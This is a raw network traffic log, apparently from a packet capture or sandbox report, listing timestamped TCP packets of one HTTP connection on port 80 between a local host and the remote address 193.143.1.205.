Jan 11, 2025 03:05:17.491601944 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491611958 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491622925 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491632938 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491660118 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.491660118 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.491874933 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.491920948 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491993904 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492086887 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492098093 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492108107 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492317915 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.492338896 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492350101 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492358923 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492368937 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492377996 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492388964 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492398977 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492413998 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.492413998 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.492841959 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492852926 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492863894 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492872953 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492885113 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.492897034 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.493103027 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.493113041 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493124008 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493133068 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493143082 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493154049 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493160009 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.493164062 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493186951 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.493186951 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.493575096 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493586063 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493594885 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493606091 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493617058 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493627071 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493638039 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493647099 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493650913 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.493650913 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.493659019 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.493697882 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.493710995 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.494014025 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.512137890 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.512164116 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.512176037 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.512312889 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.543895960 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.543915987 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.543926954 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.543956041 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.543962955 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.543978930 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544059038 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544070005 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544116974 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544138908 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544152021 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544205904 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544234037 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544245005 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544255018 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544281006 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544365883 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544385910 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544439077 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544496059 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544521093 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544531107 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544542074 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544579983 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544682026 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544692993 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544735909 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544754028 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544856071 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544861078 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544872046 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.544975996 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.544992924 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545003891 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545015097 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545027018 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545052052 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.545088053 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.545116901 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545129061 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545185089 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.545252085 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545263052 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545274019 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545387030 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.545413971 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545425892 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545435905 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545445919 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545488119 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.545488119 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.545687914 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545710087 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545720100 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.545744896 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.545773983 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.579907894 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.579926014 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.579937935 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580022097 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580034971 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580038071 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.580046892 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580059052 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580086946 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.580086946 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.580209970 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580254078 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.580288887 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580349922 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580362082 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580372095 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580416918 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.580416918 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.580497026 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580507994 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580642939 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580653906 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580665112 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580676079 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580687046 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580705881 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.580705881 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.580732107 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.580861092 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580873013 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.580919981 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581008911 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581021070 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581058025 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581079960 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581091881 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581101894 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581113100 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581124067 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581135035 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581135035 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581165075 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581362009 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581377029 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581414938 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581424952 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581427097 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581438065 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581475973 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581645966 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581657887 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581667900 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581677914 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581691027 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581691980 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581707001 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581737041 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.581912041 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581923962 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.581935883 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582001925 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582031012 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582041979 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582052946 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582063913 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582072973 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582102060 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582283020 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582294941 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582304955 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582317114 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582326889 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582331896 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582338095 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582350016 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582360983 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582374096 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582374096 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582377911 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582389116 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582420111 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582767010 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582777977 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582789898 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582875967 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582886934 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582896948 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582907915 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.582910061 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582930088 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.582930088 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.583133936 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.583146095 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.583158016 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.583168030 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.583183050 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.583193064 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.583205938 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.583205938 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.583252907 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.583252907 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.634005070 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634041071 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634052992 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634155989 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634167910 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634180069 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634181023 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.634191990 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634237051 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.634237051 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.634397984 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634468079 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.634473085 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634490013 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634501934 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634526968 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.634682894 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634694099 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634704113 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634715080 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634726048 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.634732008 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.634768009 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.634815931 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635021925 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635034084 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635044098 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635056973 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635066986 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635085106 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635099888 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635252953 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635262012 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635327101 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635443926 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635456085 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635466099 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635476112 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635487080 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635493994 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635498047 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635509968 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635536909 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635536909 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635551929 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635879040 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635895967 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635910034 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635921001 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635931969 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635942936 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635946035 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635953903 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.635993004 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.635993958 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.636311054 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.636322021 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.636332989 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.636344910 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.636356115 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.636367083 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.636379957 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.636379957 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.636414051 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.669800997 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.669831038 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.669843912 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.669857025 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.669902086 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.669974089 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.669986010 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.669998884 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670011044 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670042992 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.670058966 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.670173883 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670186043 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670202017 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670213938 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670224905 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.670244932 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.670432091 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670443058 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670454025 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670479059 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.670701981 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670711994 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670722008 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670732975 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670743942 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670754910 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670764923 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.670766115 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670764923 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.670778990 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.670789003 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.670814991 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.671056032 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671065092 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671129942 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.671156883 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671169043 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671179056 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671190023 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671200991 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671211004 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671236038 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.671236038 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.671587944 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671597958 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671607971 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671618938 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671629906 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671633959 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.671641111 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671652079 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671664000 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.671684027 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.671684027 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.671713114 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.672046900 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.672058105 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.672069073 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.672086954 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.672117949 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.672270060 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.672281027 CET	80	49750	193.143.1.205	192.168.2.11
